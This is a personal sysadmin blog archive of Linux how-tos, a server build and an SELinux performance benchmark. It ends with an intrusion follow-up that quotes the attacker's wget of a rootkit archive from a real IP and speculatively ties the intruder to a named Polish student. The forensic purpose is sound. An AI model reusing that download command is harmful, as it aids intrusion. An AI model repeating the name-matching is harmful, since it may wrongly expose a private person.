Paint that IDS

2008-12-03T10:55:00+01:00

A friend of mine, Espen Grøndahl, has created his very own IDS. To be precise, it is not a IDS per se, but a tool to visualize firewall logs. It's written in Perl and visualizes OpenBSD's pf firewall log. The IDS is called Fireplot and can be downloaded here. It is really easy to identify port scans, like this plot shows.

Two friends of Espen decided they wanted to test Fireplot, so they crafted and launched a nice "attack":

"WTF are these pictures doing in my IDS log?!?"

The original Fireplot log can be seen here:

http://espen.mine.nu/cgi-bin/fireplot3/showimg.cgi?date=2005-10-28

They even got some Star Wars in there. Quite funny.

Google video on your phone

2008-10-26T15:04:00+01:00

I have a Nokia N73 "Music Edition" mobile phone. The "Music Edition" part isn't important to me, since I never listen to music when I'm on the run. I read. But sometimes I'm too tired to read, especially when I'm on my way home from work. But the subway takes 30 minutes so I'll have to do something.

Google releases a lot of technical video documentaries ("tech talks") that I hardly ever have time to watch. TED also have lots of interesting talks. My phone do support playing video - at least 3GP. The screen resolution is not that bad either, with 240x320 pixels. It also has a 2GB miniSD memory card, so storage shouldn't be a problem. You can download most of the Google videos (for "iPod/PSP") and TED talks. What you then get is a MPEG4 file. My phone does not play MPEG4, so how can I fix that?

There is some web-services that can convert video for you. Like zamzar.com, but in Zamazars case, it has a 100MB size-limit.

Luckily, ffmpeg can convert to and from anything.

1. Install:

  $ aptitude install ffmpeg

2. Then, make sure the restricted codecs are installed. Follow the instruction from:

http://ubuntuguide.org/wiki/Ubuntu:Feisty#How_to_install_Multimedia_Codecs

3. Download your favorite Google/TED video.

4. Convert:

$ ffmpeg -i downloaded-google-video.mp4 -s qcif -vcodec h263 -acodec aac \

-ac 1 -ar 44100 -r 25 -ab 64 -y converted-google-video.3gp

5. Upload to your phone using bluetooth. Just one quick note: I had to configure my phone to use the miniSD for saving incoming messages. The internal storage is too small for the video file(s).

6. Play! Works great.

Proper paper formatting with Latex and IEEEtran

2008-05-11T22:19:00+02:00

Many scientific papers use Latex for formatting. There exists an Latex class called IEEEtran which "produce high quality typeset papers" (example here). Besides from being nice, it is also a requirement for many conferences/journals to submit papers using this class. But how do we install it on Ubuntu/Debian?

I re-installed one of my workstation with Ubuntu 8.04 here the other day. On it, I also need Latex with the IEEEtran class. To my surprise, installing it was easier than I though:

First we install the required Latex packages:

 # apt-get install texlive-latex-base texlive-latex-recommended texlive-fonts-recommended texlive-pictures

Now, instead of manually installing the IEEEtran class, its already available in apt:

 # apt-get install texlive-publishers texlive-publishers-doc

Installed with documentation! Full read here:

 $ evince /usr/share/doc/texlive-publishers-doc/latex/IEEEtran/IEEEtran_HOWTO.pdf

and

 $ evince /usr/share/doc/texlive-publishers-doc/latex/IEEEtran/IEEEtran_bst_HOWTO.pdf

Now its just to install Emacs with my favorite Latex-mode:

  # apt-get install emacs auctex emacs22-el

Ready for writing!

Triple boot OSX Leopard, Ubuntu 8.04 and Widows Vista

2008-03-05T21:10:00+01:00

I received a Mac Mini today. We plan to use it as part of our lab setup here at work. The box is pretty small and compact. It's quite cheap too.

It will primarily be running some flavor of Linux, but I plan to install Windows Vista ("Business" version) and OSX Leopard on it as well. This way I can quickly test all three OSes if needed. So how do we set up triple boot on this box? It turns out to be quite easy.

1. Installing OSX Leopard

First, install OSX. Use the whole disk. After installation is complete, do a "software update" if needed.

2. Installing Windows Vista

Next, we need to split our OSX partition in two. One for OSX, which will be resized, and another for Windows. The program "Boot Camp" does all that for us. Start it from:

"Finder" → "Applications" → "Utilities" → "Boot Camp Assistant"

Boot Camp presents us with a nice slider to resize the OSX and Windows partition. I allocate 25GB to Windows Vista:

After the resize is complete, you'll be asked to insert the Vista DVD and choose "start installation". OSX reboots and boots from the Vista DVD. The last partition is for Vista, so we format it (using NTFS).

After a couple of reboots later, Vista is installed

At startup, Vista boots as default. To change this press and hold the "Alt" key startup boot. Boot into OSX.

3. Re-partition and install rEFIt

In OSX, start "Disk utility" from "Utilities". Under "Partitions", choose the OSX partition and click the "+" button. This splits our OSX partition in two. The new partition will be our Linux partition. Don't worry about the name or format (HPFS), we'll re-create it using ext3 later.

Next, we need to download a boot-manager that manages both EFI (which Mac uses) and (old) MBR (required by Windows). Head over and download rEFIt. After you've installed rEFIt, open a "Terminal" and type (yes, still in OSX):

$ cd /efi/refit

$ ./enable.sh

+ sudo bless --folder /efi/refit --file /efi/refit/refit.efi --labelfile /efi/refit/refit.vollabel

Great! Now we have a nice graphical boot manager.

4. Installing Ubuntu 8.10

Download Ubuntu 8.04 (i386) from here and burn it to a CD. (Actually, since 8.04 isn't released yet, I'm using the alpha5-release fetched from here). Boot the installation CD from the rEFIt menu.

When installing Ubuntu, there are two important steps:

When choosing partition be sure to manually partition the disk. Then delete the third (sda3) partition. Re-create it using ext3 and set the mount point to "/". Do NOT create a swap partition. We'll create swap later.
Grub: Be sure to install grub on sda3 and NOT sda (hd0). You can change this by choosing "Advanced" under the last installation step.

At the next reboot, we're presented with a nice boot screen:

We're not quite done yet. Since Mac uses GPT, which don't allow logical partitions, and MBR, which Windows require, - we're stuck with four (primary) partitions. That's the reason why we can't have dedicated swap partition. So we create a swap file (in Ubuntu):

$ sudo dd if=/dev/zero of=/swapfile bs=1024 count=2097152

2097152+0 records in

2097152+0 records out

2147483648 bytes (2.1 GB) copied, 80.0314 s, 26.8 MB/s

$ ls -lh /swapfile

-rw-r--r-- 1 root root 2.0G 2008-03-05 18:34 /swapfile

$ sudo chmod 600 /swapfile

$ sudo mkswap /swapfile

Setting up swapspace version 1, size = 2147479 kB

no label, UUID=819c205d-b3de-4ed0-ae4c-17e8b7e81443

$ sudo swapon /swapfile

$ free -m

             total       used       free     shared    buffers     cached

Mem:          1996        569       1426          0         12        196

-/+ buffers/cache:        360       1635

Swap:         2047          0       2047

$ cat /etc/fstab

...

/swapfile       swap    swap    defaults        0       0

That's it. Our partition layout now has the first (sda1) partition occupied by EFI, next (sda2) is OSX, third (sda3) Linux and the last (sda4) Vista. A graphical layout (using gparted) listed below:

Balcony Server

2008-02-16T13:02:00+01:00

At my last place, I had a dedicated room full of servers. It was lovely mix of cra^Wold hardware running various flavors of Linux, BSD and Solaris. At my new place, we didn't have that much space so I was forced to do a cleanup. I bought a powerful server with sufficient RAM, CPU and disk. Now I have one server and a whole bunch of virtual machines running on it. (Throw in a couple of Linksys devices running openwrt and dd-wrt and I was happy.) There was one "problem" - the server had to be placed out on the balcony. It has been running out there for over a year now - how did that go?

When I started, I had two challenges: First, I had to build some kind of box to protect the machine from wind, rain and snow. Next, since we use the balcony a lot during summertime, the machine had to be fairly quiet.

Also, since the server is running at all time, I had to get some decent disks. I bought four "Western Digital Caviar RE2 500GB SATA2 16MB 7200RPM (WDC WD5000YS-01M)" which has a pretty high MTBF. They've been running in RAID 5 and have not failed me yet.

Since it is a sunny balcony and it can get pretty hot during the summer, the box had to have some kind of ventilation. But the ventilation could not allow snow drifting into to box during winter. After my carpenter work and a paint job, the box fit nicely into the corner of the balcony.

Neither drifting snow, wind or rain have been any problem. A bigger problem have actually been pollen grains during spring and summer. The box and chassis get full of it and have to be cleaned at least once during the summer.

I often get questions about humidity - isn't that a problem? The answer is no. I've had no problem with it at all. But keep in mind that the server is running at all time - if I turn it off, wait until it cools, and then turn it back on again, we can have condensation which can be catastrophic.

We all know that the operating temperature is really important for hard drives. So I do get a little worried when it's really hot during the summer. So I monitor the hard drives using Munin, and so far I've been within the temperature limits for the disks (5�C - 60�C).

During wintertime, the server is running happier (nice and cold) than ever:

How to monitor Bind with Munin

2008-02-15T21:27:00+01:00

Unix sysadmin and never heard of Munin? Good news for you: You have a great tool waiting. Munin monitors your servers, stores the results and generates pretty graphs for you to interpret. Munin itself is written in Perl, but uses plugins, written in language of choice, to fetch relevant data. The default install comes with a number plugins that works out-of-the-box - most of them written in Perl or shell. But some plugins, or services, require manual intervention to work. Bind is such a service, so let's see how we can monitor Bind with Munin.

I install Munin everywhere I can. It's a really helpful tool. After I've started using Munin (and Nagios), I'm puzzled of how I managed without before. Munin gives you historical graphs and enables you to predict resource consumption trends: "Is there any memory increase during the last year? Are the number of mail/spam increasing? What about CPU load? Network throughput?" etc.

Some time ago, I was at a customer and installed Munin on a bunch of servers. The next day, the sysadmin called and thanked me. He finally knew why he had to reboot two of his Oracle server every week. There was some kind of memory leak eating away all memory before the server crashed. He contacted Oracle to come up with a fix.

Another example: You arrive at work, and a server has crashed/rebooted/panicked during the night. Now, why did it do that? Munin can be of great help here: Check the graphs right before the crash - seeing anything unusual? Increase in network traffic? What about CPU load? Memory? Number of processes? It can give you a really good indication of what went wrong.

Munin do have some limitations. It does not scale well (to hundreds of servers) and I find it particularly painful to create aggregated graphs (for example aggregated network graph of two or more hosts). But I know these issues are being worked on.

Okay, enough talk - let's monitor Bind:

First we need enable logging. Create a log directory and add log directives to the Bind configuration file (here on Debian):

# mkdir /var/log/bind9

# chown bind:bind /var/log/bind9

# cat /etc/bind/named.conf.options

...

logging {

        channel b_log {

                file "/var/log/bind9/bind.log" versions 30 size 1m;

                print-time yes;

                print-category yes;

                print-severity yes;

                severity info;

        };



        channel b_debug {

                file "/var/log/bind9/debug.log" versions 2 size 1m;

                print-time yes;

                print-category yes;

                print-severity yes;

                severity dynamic;

        };



        channel b_query {

                file "/var/log/bind9/query.log" versions 2 size 1m;

                print-time yes;

                severity info;

        };



        category default { b_log; b_debug; };

        category config { b_log; b_debug; };

        category queries { b_query; };

};

Restart bind:

# /etc/init.d/bind9 restart

Stopping domain name service: named.

Starting domain name service: named.

You can now see log files are being populated under /var/log/bind9/*

Next, configure Munin:

Make sure the munin-user ("munin") can read you bind log files.

We need two additional plugins: "bind" and "bind_rndc". If you can't find them in your default install, head over here.

The "bind" plugin should work right away. "bind9_rndc" however need to read the "rndc.key file, which only are readable by the user "bind". You have two options, either run the plugin as root or add the user "munin" to the group "bind" and enable the group "bind" to read the rndc.file. For the sake of simplicity, I run the plugin as root here. So you need to add:

# cat /etc/munin/plugin-conf.d/munin-node

...

[bind9_rndc]

user root

env.querystats /var/log/bind9/named.stats

...

Next restart Munin:

# /etc/init.d/munin-node restart

Stopping munin-node: done.

Starting munin-node: done.

Munin run every five minutes, so go take a coffee. Wait.

After a while, graphs arrive:

And the bind_rndc plugin:

(Consult the "BIND 9 Administrator Reference Manual" if you have trouble interpreting the results.)

Nice huh?

What are you waiting for? Munin is over here.

Linux and Logitech QuickCam Pro 9000

2008-02-02T12:54:00+01:00

I've been on the lookout for a decent webcam. After some searching, the choice fell on Logitech QuickCam Pro 9000, which should be supported according to the Linux UVC driver page. It's not one of the cheaper models, but not the most expensive either. It also has "HD-quality" (which in this case translates to resolution up to 1600x1200). So how does this camera works under Linux?

My first thought after unwrapping was "Is that it?". It was smaller than I had anticipated. But when it comes to webcam, smaller is better I guess.

Ubuntu 7.10 (i386) ships with UVC drivers, but they are too old. So we install new ones from trunk:

(Update! This webcam works out of the box on Ubuntu 8.04)

 $ svn checkout svn://svn.berlios.de/linux-uvc/linux-uvc/trunk

 $ cd trunk

 $ make

 $ sudo make install

When we now plug in the camera, it's detected properly:

$ dmesg

...

[14323.676000] usb 5-1: new high speed USB device using ehci_hcd and address 7

[14323.932000] usb 5-1: configuration #1 chosen from 1 choice

[14324.056000] Linux video capture interface: v2.00

[14324.168000] usbcore: registered new interface driver snd-usb-audio

[14324.180000] uvcvideo: Found UVC 1.00 device  (046d:0990)

[14324.196000] usbcore: registered new interface driver uvcvideo

[14324.200000] USB Video Class driver (v0.1.0)



$ lsusb

...

Bus 005 Device 007: ID 046d:0990 Logitech, Inc.

We see the modules are loaded:

$ lsmod | grep uvc

uvcvideo               48644  0 

compat_ioctl32          2304  1 uvcvideo

videodev               29312  1 uvcvideo

v4l1_compat            15364  2 uvcvideo,videodev

v4l2_common            18432  2 uvcvideo,videodev

usbcore               138632  10 snd_usb_audio,uvcvideo,snd_usb_lib,hci_usb,appleir,xpad,usbhid,ehci_hcd,uhci_hcd

The camera also has a built in microphone, which is detected and works (number #1 here):

$ cat /proc/asound/cards

 0 [Intel          ]: HDA-Intel - HDA Intel

                      HDA Intel at 0x90440000 irq 21

 1 [U0x46d0x990    ]: USB-Audio - USB Device 0x46d:0x990

                      USB Device 0x46d:0x990 at usb-0000:00:1d.7-1, high speed

Time for testing!

A capable webcam viewer is luvcview. It has the ability to take snapshot (photos), record video (avi), change resolution etc. We download and install luvcview from here.

One nice feature is to list all supported resolutions:

 $ luvcview -L

luvcview version 0.2.1 

Video driver: x11

A window manager is available

video /dev/video0 

/dev/video0 does not support read i/o

{ pixelformat = 'MJPG', description = 'MJPEG' }

{ discrete: width = 160, height = 120 }

        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, 

{ discrete: width = 176, height = 144 }

        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, 

{ discrete: width = 320, height = 240 }

        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, 

{ discrete: width = 352, height = 288 }

        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, 

{ discrete: width = 640, height = 480 }

        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, 

{ discrete: width = 800, height = 600 }

        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, 

{ discrete: width = 960, height = 720 }

        Time interval between frame: 1/15, 1/10, 1/5, 

{ pixelformat = 'YUYV', description = 'YUV 4:2:2 (YUYV)' }

{ discrete: width = 160, height = 120 }

        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, 

{ discrete: width = 176, height = 144 }

        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, 

{ discrete: width = 320, height = 240 }

        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, 

{ discrete: width = 352, height = 288 }

        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, 

{ discrete: width = 640, height = 480 }

        Time interval between frame: 1/30, 1/25, 1/20, 1/15, 1/10, 1/5, 

{ discrete: width = 800, height = 600 }

        Time interval between frame: 1/25, 1/20, 1/15, 1/10, 1/5, 

{ discrete: width = 960, height = 720 }

        Time interval between frame: 1/10, 1/5, 

{ discrete: width = 1600, height = 1200 }

        Time interval between frame: 1/5,

1600x1200 is bigger than my screen here, so 960x720 will have to do. I had to disable SDL hardware acceleration to use resolution above 800x600, or else luvcview crashed:

 $ luvcview -w -s 960x720

The colors look good, it adapt well to light and I've had no stability issues (yet). The camera also works with ekiga (gnomemeeting):

Kopete:

And Skype (2.0 beta) (the microphone also works):

No snow, no Christmas?

2007-12-04T19:24:00+01:00

Soon Christmas and still no snow? Since there hasn't been a decent cold and white winter here for years, it's a little hard to get that Christmas mood. Luckily, we have computer tools that can help us out.

A small and nifty little program called "xsnow" snows all over your X-session. All the windows get covered in snow and even Santa himself fly by. The graphics are not outstanding, in fact they quite early 1990-ish. Still, it gives you a little Christmas nostalgia. You can almost feel the cold when the snows hurls over your screen.

RHEL5 SELinux: A benchmark

2007-11-07T22:05:00+01:00

SELinux introduces a new access control mechanism in the Linux kernel called "mandatory access control". It has been in the mainline Linux kernel since 2003, and included in RedHat Enterprise Linux 4 (2005). RedHat have been testing SELinux for quite some time through the Fedora releases, where it has been available since Fedora 2 (2004). RedHat is aggressively pushing the development of SELinux and relevant tools forward. From RHEL version 4 to 5 the targeted policy includes more services, added support for a modular policy, (graphical) administrations tools and support for MLS. But what are the performance penalties when running with and without SELinux enabled?

Index

SELinux
Test setup
The tests
1. Apache
2. Postfix
3. MySQL
Conclusion
References

1. SELinux

NSA originally developed SELinux and surprised everyone when they open sourced it.

".. let me assure you that this action by the NSA was the crypto-equivalent of the Pope coming down off the balcony in Rome, working the crowd with a few loaves of bread and some fish, and then inviting everyone to come over to his place to watch the soccer game and have a few beers. There are some things that one just never expects to see, and the NSA handing out source code along with details of the security mechanism behind it was right up there on that list."
--- Larry Loeb, "Uncovering the secrets of SE Linux"

SELinux was quickly embraced by the open source community and RedHat in particular have led the development the last years. Existing first as a set of third party kernel patches, it was later rewritten to use the "Linux Security Modules" (LSM) and is now part of the mainline kernel.

LSM provides no security by itself, but gives a general framework to support access control modules like SELinux. LSM does that by inserting hooks in the kernel code right before the access would have been granted by traditional access control. These "hooks" are just calls to functions that the LSM modules (SELinux) must provide.

1a. Access control

The access control mechanism found in traditional operating systems (Linux, Windows, UNIX, OSX), the users are in control and determine access control. Ordinary users may give or revoke access privileges to their own object (files). This access control scheme is called "discretionary access control" (DAC), since the subjects have discretion over their own objects. Bishop defines DAC as:

"If an individual user can set an access control mechanism to allow or deny access to an object, that mechanism is a discretionary access control (DAC), also called identity-based access control (IBAC)." [Bishop]

SELinux introduces a new access control mechanism called "mandatory access control" (MAC). Here the access control is taken out of the hand of the users and enforced by the system it self. "In general, when systems are built to enforce a security policy independently of user actions, they are described as having mandatory access control" [Anderson]. SELinux supplement Linux with mandatory access control (MAC), since access control is enforced based on a security policy and not user identity alone.

MAC can be defined as: "When a system mechanism controls access to and an individual user cannot alter that access, that control is a mandatory access control (MAC), occasionally called a rule-based access control." [Bishop]

It must be stressed that MAC is not by definition more secure than DAC. It is just two different approaches to access control. The strength of MAC depends on a well-defined security policy. But when MAC is used, the security policy is usually written in accordance with the "principle of least privilege". This principle is best explained using an example: A user reads his email using a program called "mutt". Since "mutt" is executed as a normal user, the "mutt" process has the same privileges to read and write to all the files as the user himself. That means that "mutt" can read the users ssh-keys, change the users password, delete all the users files and so on. Mutt does not need all those privileges in order to function properly, so they can be denied. Again, Bishop gives a clear and concise definition:

"The principle of least privilege states that a subject should be given only those privileges that it need in order to complete its task." [Bishop]

SELinux does not replace the traditional DAC in Linux. SELinux introduces MAC in addition to DAC. All access decisions are first consulted DAC then MAC (SELinux). If an action is denied in DAC, SELinux (MAC) is not consulted and the action is denied. If DAC allows the action, the decision is sent to SELinux for a MAC check.

1b. Security attributes

SELinux uses a combination of an identity model, role-based access control (RBAC) and type enforcement (TE). Where TE is the most important feature. SELinux RBAC authorize each (SELinux) user for a set of roles. Each role is authorized to a set of types.

This is accomplished using four security attributes:

User identity: SELinux has its own user database which are mapped to normal Linux users. The identities are used on both subject and objects. Only a few SELinux users are defined: (can be listed by 'semanage user -l'):
- user_u - normal users.
- system_u - processes started (at boot).
- root - administrator.
Role: Users may enter into different roles. Different roles may enter different domains. For objects (files), this is always object_r.
Type / domain: The "main" attribute in SELinux. Also called the "primary attribute". It is usually only a few users/roles defined, but hundreds of types. There is no difference between "type" and "domain", but "domains" are used when talked about processes and "type" when talking about files. Each process is confined in it own sandbox with restricted access, also called "Type Enforcement".
Category / level: May set category and/or level. Introduced in RHEL 5 and enables Multi Level Security (MLS) or Multi Category Security (MCS).

These four security attributes build up what is called a "security context":

<user>: <role>: <type>: <category/level>

Security attribute	Name convention	Example name
User	_u	user_u
Role	_r	object_r
Type	_t	unconfined_t
Category / level	(none)	s0:c0

To view the security context of files and/or processes, the option "Z" is used:

$ ls -Z /etc/passwd

-rw-r--r--  root root system_u:object_r:etc_t          /etc/passwd

$ ps Z -C sshd

LABEL                             PID TTY      STAT   TIME COMMAND

system_u:system_r:unconfined_t:SystemLow-SystemHigh 2021 ? Ss   0:00 /usr/sbin/sshd

system_u:system_r:unconfined_t:SystemLow-SystemHigh 16795 ? Ss   0:00 sshd: lars [priv]

system_u:system_r:unconfined_t:SystemLow-SystemHigh 16797 ? S   0:01 sshd: lars@pts/1 

system_u:system_r:unconfined_t:SystemLow-SystemHigh 24700 ? Ss   0:00 sshd: lars [priv]

system_u:system_r:unconfined_t:SystemLow-SystemHigh 24702 ? S   0:00 sshd: lars@pts/0

1c. SELinux MAC

Lets look closer on the decision making process in the kernel. When a subject (process) wants to access an object (for example a file), it must first be granted by DAC. Then the decision is sent to SELinux via LSM. In SELinux the Policy Enforcment Server does a lookup in the Access Vector Cache (AVC) where earlier subject and objects permission are cached. If the decision is not found in the AVC, the request continues to the Security Server which looks up the security context of the file and consult the policy. Permission is then either denied or granted. The result is cached in the AVC. Se figure below for a graphical illustration:

1d. Security policy

SELinux consists of:

Kernel module. Included in the mainline kernel since 2.6.
Library 'libselinux' used by userspace programs (ls, ps, id, ...).
Administrative tools ("SELinux Management Tool", sestatus, ...).
Security policy.

The policy is written in m4 (same as the config file in Sendmail), compiled and loaded into the kernel at boot time. Writing new or changing existing policy directly might not be intuitive for new users so RedHat has invested a lot of effort into creating user-friendly (graphical) administrative tools. The policy has also been made modular, so it is easier to turn of TE for certain programs.

But the policy does not cover the whole system. In RHEL4 only 15 network based services (apache, bind, ntp, ...) where covered by the policy. The rest of the system ran in an "unconfined_t" domain which is a special domain with no restrictions (same as if SELinux was not running). In RHEL5, the number of programs covered by the policy are over 200. "Covered" here means that the program are confined to its own "domain" with restricted privileges.

In RHEL/Fedora "strict" and "MLS" policy may also be installed, but they are unsupported. In the "strict" policy, every subject and object exists in a specific domain. The "MLS" policy enforces military style security levels and uses the Bell-La Padula model (BLP). The (binary) size of the policies also varies according to how much they cover. The "strict" policy is more than double in size of the "targeted":

Targeted: 1.1 MB
Strict: 2.5 MB
MLS: 2.1 MB

SELinux may run either in "enforcing" or "permissive" mode. In "permissive" mode access control is checked against the security policy but not enforced. Instead warnings are printed to a log file when policy is violated (nice for debugging). When SELinux run in "enforcing" mode, the policy is enforced.

The /selinux pseudo-filesystem gives access to SELinux variables and AVC statistics. I wrote a Munin plugin to monitor the AVC (download). The graphs below shows the load on the AVC. No active services (besides Munin) to the left and running the MySQL benchmark to the right.

When running real-life load or doing benchmarking, several hundred thousand AVC lookups per seconds are preformed.

1e. AppArmor

AppArmor ("Application Armor") is a competing technology to SELinux. It enables MAC in the kernel using LSM, the same as SELinux, but takes a different approach. For instance it uses full path names instead of inode names for file objects.

Immunix created AppArmor as an alternative to SELinux, which was considered to hard to administer. Immunix was later aquired by Novell, and included in Novell Suse. Creating and maintaining AppArmor polices is user friendly, and that has led other Linux distributions, like Ubuntu and Mandriva, to include it in the default install. The overhead using AppArmor is said to be around 2% [Cowan].

In a surprise move, Novell laid of most of their AppArmor devlopers in September 2007 [news.com] [linux-magazine.com]. Making the future of AppArmor more uncertain and depended upon the open source community to continue the development. One indication of popularity can be seen in Google trends.

2. Test setup

Two nodes, connected through a gigabit switch as shown in the illustration below:

Hardware specification given in the tabel below. I turned off CPU stepping on the laptop.

Hardware	Laptop	Workstation	Switch
Model:	Fujitsu Siemens Lifebook S7020D	OptiPlex 745	D-Link DGS-1008D
CPU:	Intel(R) Pentium(R) M 2.00GHz	Intel(R) Core(TM)2 CPU 2.13GHz
RAM:	2 GB	4 GB
Ethernet:	Broadcom NetXtreme BCM5751M PCI Express (Gbps)	Broadcom NetXtreme BCM5754 PCI Express (Gbps)	8 port Gbps
Disk:	SATA: 80GB, Seagate ST98823AS	SATA: 250GB, WDC WD2500JS-75N

Output from "lshw" can be found here: Laptop and Workstation.

The operating system tested was RedHat Enterprise Linux 5 (RHEL5) Server. The laptop ran i386 (32 bits) version, but the workstation ran both i386 and x64 (64 bits) version. The client was running Ubuntu 7.04. So when RHEL5 was tested on the workstation, the laptop ran Ubuntu 7.4 and vice versa.

One little trivia: When testing, I was surprised when I found out that my laptop, with a gigabit interface, could could sustain 1Gbps network traffic. Se screenshot from "iptraf" to the right.

3. The Tests

When SELinux is deployed, it is to provide an extra layer of security to existing services. Knowing the performance penalty when running SELinux on common (network based) services was the goal. The first task was to find good benchmark tools. I tested Apache prefork and worker (threaded), Postfix and MySQL.

To flush out different caches (file cache, AVC etc.), the machine was rebootet between each test. All relevant files (log-files, mailboxes etc.) were also blanked before each new test.

3a. Apache

Apache can run using a prefork model, where each request is assigned to a free Apache process. New processes are forked if the number of requests gets high. When running as "worker", Apache uses threads instead of forking. This is not default behavior for Apache on RHEL since PHP is not compatible with this mode. Worker mode is slightly faster than prefork as seen from the graphs below.

The test was used running Apaches own benchmark tool "ab". It was run against the same html-file. For each host, eleven tests with different concurrent connections (1 up to 255) each with 100000 requests was performed. The ab-test script can be downloaded here and the index.html file here.

Using a default (RHEL) httpd.conf, modifying only the number allowed clients (to 256).

This test uses a lot of network traffic, process handling (fork or thread) and disk read (html file) and write (log file).

Below is the result from the prefork results. For each host the average for all 11 tests are shown:

The same results with Apache worker (threaded):

3b. Postfix

Postfix is a popular mail server (MTA) and a rival to Sendmail. It is composed of several daemons, each responsible for performing a specific task (putting the mail in the queue, final delivery to the user's mailbox etc.). Read more about the different components in Postfix when receiving mail here.

The test was performed running Postfix' "smtp-source" against a Postfix mail server. The program is a SMTP test generator which connects to a mail server and send messages to it (sequentially or in parallel). Testing was done from and measured on the client sending 10000 messages four times with different concurrent connections (1 to 1000) (test script). Time taken was taken from the first to the last mail sent.

Using a fairly default (RHEL) main.cf, changing only the listing interface from "localhost" to "all".

This test uses a lot of network traffic, process handling and primarily disk write (mails and logs).

Four tests for each host. Average results shown:

3c. MySQL

MySQL is a popular database. It is multi-threaded and does not fork new processes. The benchmark tool was MySQL own "MySQL Benchmark suite", running all tests ("run-all-tests"). The test was started on the same host as the MySQL-server, so all communication was over a unix-socket. Around 3 million tests done in each run, but these are mostly CPU-bound, which can be seen from the results (low SELinux overhead):

4. Conclusion

There is no "official" number for how much performance penalty SELinux introduces. The Fedora Core FAQ says its hard to measure but states: "When performance was last measured, the impact was around 7% for completely untuned code." Performance depends on how the program behaves, the security policy written for it and the particular usage of that program. We've seen that more CPU bound programs, like the MySQL benchmark, has less SELinux overhead since the process itself spend more time on the CPU and less interaction with other part of the system (disk access, network traffic etc.).

If we combine all the result above, we come up with an average penalty of around 6%. Which is pretty close to 7% stated in the Fedora FAQ.

5. References

News

"Novell lays off AppArmor programmers": http://www.news.com/8301-13580_3-9796140-39.html
"Novell Dismisses AppArmor Developer": http://www.linux-magazine.com/online/news/novell_dismisses_apparmor_developer
"SELinux sparks tussle over Linux security model": http://www.gcn.com/online/vol1_no1/45236-1.html
"Torvalds irate over Linux Smack": http://www.vnunet.com/vnunet/news/2200143/linus-irate-linux-smacking
"Securing Linux Systems with AppArmor" presented by Crispin Cowan at DefCon 15 2007: http://video.google.com/videoplay?docid=-1731833784646588861
"Five ways SELinux may surprise you": http://searchenterpriselinux.techtarget.com/columnItem/0,294698,sid39_gci1253747,00.html
"Uncovering the secrets of SE Linux": http://www-128.ibm.com/developerworks/library/s-selinux/?n-s-381

Documentation

"NSA: Security-Enhanced Linux": http://www.nsa.gov/selinux/
"RHEL5 Manual: Chapter 43 Security and SELinux": http://www.redhat.com/docs/manuals/enterprise/RHEL-5-manual/Deployment_Guide-en-US/selg-overview.html
"RHEL4 SELinux Guide": http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/selinux-guide/
"Gentoo: Working with SELinux": http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml?part=3
Red Hat SELinux developer Daniel Walsh's blog: "danwalsh's Journal": http://danwalsh.livejournal.com/
"Fedora SELinux FAQ": http://docs.fedoraproject.org/selinux-faq/
"SuSE AppArmor": http://en.opensuse.org/Apparmor

Books

Matthew Bishop. Computer Security: Art and Science. Addison Wesley, Dec 2002. (Excerpts at "Google Books").
Ross J. Anderson. Security Engineering: A Guide to Building Dependable Distributed Systems. John Wiley & Sons, Apr 2001.
Bill McCarty. SELinux. O'Reilly, Oct 2004.

Holiday cracking - redux

2007-11-03T19:18:00+01:00

Update 3. Nov 2007: Dug up some more interesting stuff.

The "holiday cracking" story got far more attention than I ever would have imagined. If I had known it would get so massive attention, I sure would have done a more throughly job. Interestingly, after the posting I have received some pretty interesting feedback - even an email from the cracker himself! It sure helps getting on Slashdot and posted on Bruce Schneier's blog!

In fact, when the story hit /., I first thought that I was finally being DoS'ed by an angry exposed cracker. But I quickly found out that it was the "normal" slashdot effect. You can see the traffic increase from the graph: The first traffic increase is from Schneier (week 33), the second is slashdot (week 34).

First one clarification. The cracked server was an (old and rusty) personal server, hosting nothing more than backup of some digital pictures hooked up through ADSL. The server was not part of production system running some critical services. The only exposed services to the Internet were SSH and Apache (no PHP as I recall). Hunting down this little cracker was just for fun.

It was also interesting to read the comments. A lot of the usual nonsense crap ("I pity the fool who cracks your system, fool!"), to more fun details ("He should've symlinked .bash_history to /dev/random!") but also some very helpful and constructive comments. I would in particular mention the SANS whitepaper "Dead Linux Machines Do Tell Tales" by James Fung (local copy here) - a couple of years old, but still a very interesting read. Another good tip, was the software chkrootkit and rkhunter, both helpful in finding and identifying rootkits.

Several polish users have sent me translations from the hosts used in the crack:

The cacker used the bot "psotnic" which translates to "rascal" or "urchin". Se wikipedias entry on psotnic for more info.

"4lo.bydg.pl" - IV High School in Bydgoszcz. The IP-address 83.19.148.250 resolves to this host.
"matsys" - A popular nickname. Short version of "Mateusz" (male).
"pliki" - files.

So wget http://83.19.148.250/~matys/pliki/shv5.tar.gz gives more sense.

A polish reader, Michal Bartkowiak, did some more digging on the polish web-pages and found more interesting stuff:

Ok, so let's take a look at this school website (4lo.bydg.pl). Search

option is in menu on left side ("szukaj" in polish). But search for

what? Maybe "matys".. nothing. I'm assuming that name of this account's

owner is "Mateusz".. three results. Click on first one
     
( http://4lo.bydg.pl//index.php?option=com_content&task=section&id=44&Itemid=93)



and you will get a list of names from competition. Three persons with

first name "Mateusz". Wait a minute, surname of first guy is "Lapinski"

(written without polish fonts), which looks very fimilar to LaPi. And it

makes sense in our language to create nick like this from surname

"Lapinski". While Lapinski is not very popular name, it still can be

just coincidence or my imagination. Or another hacked account of course.



Anyway, that's a good time for google. Search for "matys

site:4lo.bydg.pl" shows some activity on this account, e.g. index of

/~matys/foty/02-07-2007 ("foty" means "photos").
       
Search for "lapi+psotnic" returns userlist generated by psotnic version

0.2.11. Guess what? lapi is there. With IP from polish ISP

